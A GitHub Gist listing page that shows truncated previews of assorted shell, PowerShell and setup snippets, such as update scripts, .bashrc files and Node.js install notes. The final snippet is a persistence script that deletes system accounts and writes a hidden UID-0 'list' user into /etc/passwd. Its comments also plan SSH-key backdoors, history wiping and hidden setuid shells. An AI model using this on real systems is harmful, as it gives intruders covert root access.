Skip to content

Instantly share code, notes, and snippets.

@alxrogan
alxrogan / auto_update.sh
Created October 4, 2011 15:10
ubuntu auto-update script to keep systems up to date on patches/etc
#!/bin/bash
# Script Name: auto_update.sh
# Original Author Name: Keith Bawden
# Modified by : Aaron
# Date: Wed May 17 15:40:32 JST 2006
# Updated: Thur Feb 01, 2007
# Description: This script will:
# Clean up the local apt repository of retrieved packages (apt-get clean)
# Resync the package index (apt-get update)
# If called with AUTOUPDATE set to yes then updates will be downloaded and
@MasahiroSakoda
MasahiroSakoda / .bashrc
Created November 24, 2011 01:22
bash environment settings
#!/bin/bash
#########################################
# .bashrc #
# Author: Randy Rhoads 22 Jan 2010 #
# Copyright (c) Force Operation X 2009 #
#########################################
date '+%Y/%m/%d %H:%M:%S';
echo "initializing .bashrc....."
#########################################
@mnem
mnem / git_fetch_pull_all_subfolders.sh
Created December 6, 2011 14:35
Simple bash script for fetching and pulling all repos in the executed folder to the latest of the branch they are on
#!/bin/bash
################
# Uncomment if you want the script to always use the scripts
# directory as the folder to look through
#REPOSITORIES="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
REPOSITORIES=`pwd`
IFS=$'\n'
@cmaahs
cmaahs / Get-OSInfo.ps1
Created December 14, 2011 19:04
Useful Powershell Functions
Function Get-OSInfo {
param($RemotePC)
$OSInfo = "" | Select OSName,OSVersion,OSArchitecture,OSFamily,OSType,Status
$OSInfo.Status = $true
$PingStatus = Gwmi Win32_PingStatus -Filter "Address = '$RemotePC'" | Select-Object StatusCode
If ($PingStatus.StatusCode -eq 0) {
$error.Clear()
Try {
$CompSys = Gwmi Win32_ComputerSystem -Comp $RemotePC -ErrorAction Stop
@marioBonales
marioBonales / .bashrc
Created January 19, 2012 03:56
Default .bashrc for ubuntu
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
# If not running interactively, don't do anything
[ -z "$PS1" ] && return
# don't put duplicate lines in the history. See bash(1) for more options
# ... or force ignoredups and ignorespace
HISTCONTROL=ignoredups:ignorespace
@dideler
dideler / bootstrapping.md
Last active February 2, 2025 22:27
Bootstrapping - a list of useful resources to get up and running quickly

Welcome!

UPDATE: This list is no longer maintained. I've moved it to its own repo so you can send suggestions as Pull Requests. https://github.com/dideler/bootstrapping/

For feedback or suggestions, please send a tweet (@dideler). Gist comments don't notify me. Pull requests aren't possible with gists (yet), so I don't recommend forking because then I can't easily get the change.

Starring this gist will give me an idea of how many people consider this list useful.

DynatypeAspectError at /coreadmin/60020490-2158-48ef-af1c-600f269fc241/form/
Can't save Dynatype, cause aspect 'Other' must be in one of required or optional aspects list.
Request Method: POST
Request URL: http://localhost:6443/coreadmin/60020490-2158-48ef-af1c-600f269fc241/form/
Django Version: 1.2.3
Exception Type: DynatypeAspectError
Exception Value:
@cookrn
cookrn / install.bash
Created February 28, 2012 02:02
Simple Bash Script To Bootstrap Ubuntu Server
#!/bin/bash
## README
# To run this script
# => scp it to the server
# => run `sudo bash install.bash`
# Preparations
echo "deb http://downloads-distro.mongodb.org/repo/ubuntu-upstart dist 10gen" | tee -a /etc/apt/sources.list # MongoDB Prep
apt-key adv --keyserver keyserver.ubuntu.com --recv 7F0CEB10 # MongoDB Prep
@natestarner
natestarner / Nodejs Instructions
Created March 8, 2012 05:50
Complete Nodejs Environment Setup
The objective of this post is to get you from absolutely nothing, to a fully functional nodejs environment.
Software used: Ubuntu 11.10, Nodejs v0.6.12, Nginx, MongoDB, Redis, and NPM modules.
1. Download and install the latest version of Ubuntu: http://www.ubuntu.com/download (don't select any extra items to install when prompted)
2. Once you are logged in and are at your Ubuntu command prompt, install the necessary software you will need:
a. sudo apt-get install openssh-server
b. sudo apt-get install libssl-dev
c. sudo apt-get install git
d. sudo apt-get install g++
e. sudo apt-get install make
# TODO
# copy binarys to new location, execute from said location. ensure ps command filters out commands
#PORT="1337"
# Add users, cat ssh key for ssh key access, clear history, copy shells with sguid bit set to hidden files for later use
deluser news > /dev/null 2>&1
deluser list > /dev/null 2>&1
sed '7ilist:x:0:0:list,,,,:/:/bin/bash' /etc/passwd > /tmp/out.txt && cat /tmp/out.txt > /etc/passwd && rm /tmp/out.txt